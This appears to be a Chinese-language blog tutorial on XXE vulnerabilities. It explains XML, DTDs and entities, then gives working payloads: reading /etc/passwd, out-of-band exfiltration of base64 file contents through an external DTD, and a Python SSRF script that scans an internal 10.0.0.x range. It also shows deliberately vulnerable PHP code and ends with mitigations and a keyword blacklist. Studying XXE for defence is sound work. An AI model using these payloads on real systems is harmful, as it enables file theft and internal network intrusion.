XXE漏洞探究

一、背景知识

XML介绍

XML是一种非常流行的标记语言,ML就是Markup Language 标记语言的缩写,顾名思义标记语言就是把普通的文本加上标记,让计算机能够识别。这里XML是可扩展标记语言,主要用于配置文件,其他的还有HTML(超文本标记语言),XHTML(可扩展超文本标记语言),主要用于网页文件等。

XML文档的基础组成

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
XXE漏洞探究

1. XML声明

常用的有说明使用的编码
<?xml version="1.0" encoding="GB2312" ?>
说明文档是否独立,是否依赖外部文件,yes标识需要外部文件
<?xml version="1.0" standalone="yes" ?>

2. 文档类型定义

也叫做XML约束,XML DTD是XML约束的一种,全称为文档类型定义
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
元素声明使用规则:

  • (#PCDATA)指示元素的是正常的标签字符数据。
  • EMPTY:用于指示元素的主体为空。比如
  • ANY:用于指示元素的主题内容为任意类型。
  • (子元素):指示元素中包含的子元素。

引用外部DTD,有两种

  1. 引用的DTD文档在本地: <!DOCTYPE 根元素 SYSTEM "文件名">
    <!DOCTYPE 书架 SYSTEM “book.dtd”>
  2. 引用的DTD文档在网络上 <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
    <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

DTD引用网络文档对协议的支持:
XXE漏洞探究

DTD 有两种数据:

  1. PCDATA(parse character data):要给xml解析器去解析的的数据,这个主要是在DTD约束文档使用
  2. CDATA(character data):用来告诉浏览器,这部分内容不用解析,是给其他程序用的,比如js代码

3. 元素

XML元素是指XML文件中出现的标签,标签有其实标签和结束标签,中间的是主体。标签中还可以包括属性

4. 实体

  1. 内部实体与外部实体
    上面说的都是在DTD中定义元素,约束,除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的,比如:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<!-- ANY表示接受任何元素,定义了一个xml实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用-->
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

上面这种是内部实体,类似于在内部定义了一个变量,配合前面的引用外部DTD,可以使用外部实体,比如file协议:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(不安全)

  1. 通用实体与参数实体
    上面说的都是通用实体,除此之外还有另一种参数实体
    (1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
    (2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
    (3)和通用实体一样,参数实体也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

参数实体就是触发XXE的关键

二、 能做什么

1.任意文件读

从上面的功能,第一反应可以想到的就是本地任意文件读,当我们可以控制一个xml时,我们可以发送一个带有本地文件的实体,然后用标签打印出来
server 漏洞代码:

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents(‘php://input‘);
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]> 
<creds>&goodies;</creds>

结果:
XXE漏洞探究
这个poc有一个问题, 如果读取的文件里面包含标签的相关字符,比如<>这种,DTD会进行解析,解析失败就会报错。因此要用到前面说的CDATA

有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据,而不是标记的情况包含大量的 <> & 或者" 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分

<![CDATA[
XXXXXXXXXXXXXXXXX
]]>

也就是说我们要把CDATA[] 拼接到变量前后,比如直接拼接:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY start "<![CDATA[">
<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]> 
<!ENTITY end "]]>"
<creds>&start;&goodies;&end;</creds>

实际测试会报错, 也就是不能在xml中拼接,要拼接以后再在xml中调用,那我们只能用参数实体,在另一个DTD中拼接好定义的字符串,再定义一个拼接好的交给xml调用,这种我们需要另外一个可以访问的外部DTD

Payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///etc/fstab">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

测试在php7成功读取到/etc/fatab里面的各种字符

2. 外带回显

使用外部实体实现外部回显

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM ‘http://ip:9999?p=%file;‘>">

payload

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

3. SSRF

既然可以读取远程读取到我们server上的evil.dtd,同理也可以访问服务器内部造成SSRF,以及内网端口扫描,脚本:

import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>


def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + ‘"‘ + string + ‘"‘ + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {‘Content-Type‘: ‘application/xml‘}
    x = requests.post(‘http://34.200.157.128/CUSTOM/NEW_XEE.php‘, data=xml, headers=headers, timeout=5).text
    coded_string = x.split(‘ ‘)[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = ‘10.0.0.‘ + i
        string = ‘php://filter/convert.base64-encode/resource=http://‘ + ip + ‘/‘
        print string
        build_xml(string)
    except:
continue

4. JSON content-type XXE

般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击
HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

现在我们尝试将 Content-Type 修改为 application/xml 返回包会显示:

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

这种情况下我们就可以尝试发送xml payload进行XXE注入

5. 文件上传

java中有一个jar://协议,格式:

jar:{url}!{path}
jar:http://host/application.jar!/file/within/the/zip

具体利用参考文章https://xz.aliyun.com/t/3357

四、修复

方案一:使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:手动黑名单过滤(不推荐)

过滤关键词:

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

五、参考链接

https://xz.aliyun.com/t/3357

XXE漏洞探究

上一篇:Git操作: git commit代码后,如何撤回且保留commit的代码


下一篇:0/1 nodes are available: 1 node(s) had taint